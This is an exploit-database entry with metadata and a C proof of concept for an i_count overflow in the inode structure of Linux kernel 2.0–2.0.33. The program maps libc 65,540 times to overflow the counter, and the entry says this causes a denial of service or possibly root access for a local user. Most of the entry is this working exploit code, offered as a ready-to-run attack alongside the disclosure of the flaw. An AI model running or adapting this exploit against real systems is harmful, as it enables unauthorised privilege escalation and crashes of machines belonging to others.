Linux Kernel 2.0/2.0.33 - i_count Overflow (PoC)

Author: Aleph One
type: dos
platform: linux
port: 
date_added: 1998-01-14 
date_updated: 2012-06-20 
verified: 1 
codes: OSVDB-83447 
tags: 
aliases:  
screenshot_url:  
application_url: 

/*
source: https://www.securityfocus.com/bid/388/info

The i_count member in the Linux inode structure is an unsigned short integer. It can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access on the target machine or cause a denial of service.

Below is a short example of how this vulnerability can be exploited:
*/

#include <unistd.h>
#include <fcntl.h>

#include <sys/mman.h>

void main()

{

int fd, i;

fd = open("/lib/libc.so.5", O_RDONLY);

for(i = 0; i < 65540; i++)

{

mmap((char*)0x50000000 + (0x1000 * i), 0x1000,

PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);

}

}